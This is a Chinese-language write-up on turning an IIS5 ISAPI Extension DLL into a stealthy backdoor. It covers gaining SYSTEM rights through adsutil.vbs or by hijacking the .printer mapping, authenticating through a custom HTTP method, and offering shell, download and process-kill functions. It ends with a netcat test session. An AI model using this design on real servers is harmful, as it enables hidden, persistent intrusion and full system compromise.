感谢与参考1.在获取shell的时候格式很难看，envymask告诉我是网络延迟的原因，得以解决，感谢！2.参考《绿盟安全月刊》第37期的技术专题里面的第五章《Exploit Microsoft INTERNET INFORMATION SERVER》，地址为http://www.nsfocus.net/index.php?act=magazine&do=view&mid=16623.
一.前言二.申明三.实现四.参考一.前言最近的sql injection攻击很流行，一般的解决方法是使用通用的防注入函数来保护程序不受威胁。但是有写些序作者经常忘记包含通用函数，导致没有效果。前些日子研究彻底防止SQL Injection攻击时，看了些IIS5的ISAPI Filter文档，决定利用IIS提供的API接口做个东西，这样可以很好的防止sql injection攻击。凑巧发现，这样依附在IIS上面的扩展模块，还可以作为别的用处，比如作为一个后门程序。这样进程的隐藏，端口的隐藏，服务的隐藏问题都不需要解决，由IIS包办了。作为后门，为了隐蔽性，我选择了ISAPI Extension接口。前后大约一个多星期，做出了一个这样的东西，还不知道叫什么名字好。二.申明1.代码里面有些特殊字符，因为我忘记不了她，请自己修改。2.代码可以随意转载，但是请保证文档完整，并不得用于商业用途。3.代码可以随意修改，但是如果能够给我一份，将不胜感激。4.代码我只是演示这种后门的危害，用做任何用途均与我无关。三.实现1.解析鉴于隐蔽性，我没有选择ISAPI Filter，而是选择了ISAPI Extension方式。ISAPI Extension是IIS的功能扩展模块，它能独立支持某一项特殊的HTTP请求，系统默认支持的asp脚本由%SystemRoot%\system32\inetsrv\inetsrv\asp.dll解析。自己实现一个动态连接库，就可以实现自己特殊的功能，例如php就是利用自己带的dll文件来解析php文件的。IIS先获取请求文件的扩展名，再根据配置的应用程序映射，交由特定的dll处理。2.权限IIS5的配置都保存在%SystemRoot%\system32\inetsrv\MetaBase.bin文件中，它有两个主键：LM和Schema。LM主键下面有W3SVC/InProcessIsapiApps键，这是一个数组，里面包含的是一组指向一些ISAPI的路径。在这个数组里面的ISAPI运行的时候都是由inetinfo.exe直接启动的，继承inetinfo.exe的local system权限；而不在其中的ISAPI则是由svchost.exe派生的dllhost.exe进程启动的，运行的身份是IWAM_NAME，权限极低。这里，我们可以使用iis的脚本adsutil.vbs将我们的dll加到数组当中，命令为adsutil.vbs set w3svc/inprocessisapiapps Dll Path。更好的办法是替换掉printer扩展的映射，此映射由%systemroot%\msw3prt.dll来解析，而且这个dll文件默认存在于W3SVC/InProcessIsapiApps键中。这也就是2000年.printer溢出得到system权限的原因。3.导出根据MSDN描述，ISAPI Extension需要导出三个函数，GetExtensionVersion，TerminateExtension以及HttpExtensionProc4.功能首先，密码功能肯定是需要的，这里我将标准的HTTP协议扩充出一个Icy方法，如果客户端使用此方法请求注册的映射，则认证成功，否则不予理睬。这里，你也可以修改代码，使用HTTP协议的其他部分做认证，比如Accept字段。其次，后门主要是获取一个shell，但是某些服务器可能设置了禁止system访问cmd，因此，我还提供了下载功能，这样可以下载一个cmd，然后通过shell CustomerCmd运行，得到shell执行命令。最后就是列举进程和查杀进程了。在虚拟机上测试，我注册了扩展名为yunshu交由此dll解析。使用nc连接，发送自己扩展的http协议，屏幕copy如下：C:\>nc -vv 192.168.10.250 80Warning: forward host lookup failed for Icy.missyou.com: h_errno
